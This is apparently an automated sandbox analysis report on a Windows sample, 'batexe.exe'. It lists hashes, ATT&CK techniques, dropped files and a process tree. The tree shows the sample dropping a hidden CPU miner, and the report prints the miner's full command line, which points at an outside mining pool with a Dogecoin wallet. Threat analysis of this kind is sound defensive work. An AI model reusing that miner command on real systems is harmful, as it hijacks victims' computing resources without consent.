73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 08:49

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1976	b2e.exe
3068	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3068	cpuminer-sse2.exe
3068	cpuminer-sse2.exe
3068	cpuminer-sse2.exe
3068	cpuminer-sse2.exe
3068	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3996-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3996 wrote to memory of 1976	3996	batexe.exe	83
PID 3996 wrote to memory of 1976	3996	batexe.exe	83
PID 3996 wrote to memory of 1976	3996	batexe.exe	83
PID 1976 wrote to memory of 1704	1976	b2e.exe	84
PID 1976 wrote to memory of 1704	1976	b2e.exe	84
PID 1976 wrote to memory of 1704	1976	b2e.exe	84
PID 1704 wrote to memory of 3068	1704	cmd.exe	87
PID 1704 wrote to memory of 3068	1704	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3996
- C:\Users\Admin\AppData\Local\Temp\6C75.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6C75.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6C75.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\702F.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1704
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6C75.tmp\b2e.exe

Filesize
31.3MB

MD5
4d0454eb88a46a2c798bc3a45c0cef64

SHA1
49c8e435c8fea76eaeef6be5e5dda9fe97bad9a4

SHA256
f7fbee28b563d61a37405e60991ce3ae15617ec7a99b6300be9fd77f4fb9de3e

SHA512
cde7e8ce53a1e28d9bb354a9d26b61bf6ea18c2d23216f555af8f61be36c30b79d086fcb744847456b13988f3463b9b405141ebdf7c373e84f5e56ae9093cda4

Download Submit
C:\Users\Admin\AppData\Local\Temp\6C75.tmp\b2e.exe

Filesize
12.4MB

MD5
3c6edc5ac42c9c216c04ab81084ca5a3

SHA1
f721ab4f0680bf4bb133b8d7bf054e5c9587cac8

SHA256
4d66120a98986bf2c7da4b37f7d4060d79e85a18da535b24a83fb7017708a4cc

SHA512
d691b0f7c42be3f5bc27128545ccf6838bf7adf14ca273adc6c557b3ddc4972b847e45ae460ab44e8108211e61d9ef8caf96064893fb74f195bda574d9af14a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\6C75.tmp\b2e.exe

Filesize
14.4MB

MD5
e76b75650a915f81673e40740f4f7627

SHA1
ae5942541088f5890d2291aee879a6036ec18ceb

SHA256
079ddaab12fedaca776a024eb58bb5f2b9ee4895aeaf0da6f55408910e074ce5

SHA512
2499e01b3c7e59ae06767091167b0f74e366377bf9d11ed758687f9f757e61369ac9319c5c3a9971c1b5601e3b51e3c26a02a394aca06b7d853a832858a65cea

Download Submit
C:\Users\Admin\AppData\Local\Temp\702F.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.4MB

MD5
02da828512dcb8d69298b03e0f3dc323

SHA1
6214db010af460b5584f40d49119c0788cadb695

SHA256
37e5e2d07f6cbd0d99c716e988286d4d6e10bb58d3d8205790935c2bcca85178

SHA512
de528cf7d3941245e9b917899864cd5b687a868c13dd7dcdb8124151c88ee63ca8da941d1df70def34bd608c83837dc07f5c1f7e96259507d1ae2532e6ce1ea0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.7MB

MD5
f16de3f11653dfef37e212819af41e93

SHA1
2b53d65d980c147e9f49db10d64688c0479dd4b6

SHA256
05c0b3a8bc6308a20963ea1f29c75e5b5c57869fba272e005f9c7cd9a3568033

SHA512
a1bba34f0acc85b7a55aac62cfe79079ab1c155f345ef20c61999541072e4ba35270bb6623f9e392a728af5ce6d6df51e5c58c8bcbcca618d1326dae64c9fce5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.7MB

MD5
4823f522b5cd16c0837b8a94d3344765

SHA1
2dcf0b9faf91863007d3d3c6fcfdae6c76a9f763

SHA256
07cf84f40830cb7347cda7ff16e837f8340d26a487a7e5bf7e19b3b6a4e8c3b0

SHA512
4a769facc11d124119e7164cd820e7f34c5a93c89661dd568e5ffa0fae4a04ec8afed67d6e6c24e6f68761a6458506790ab29c8a55eca0f25465bfb5e9b233c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1976-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1976-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3068-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3068-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-45-0x00000000691A0000-0x0000000069238000-memory.dmp

Filesize
608KB

Download
memory/3068-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3068-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3068-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3068-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3996-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download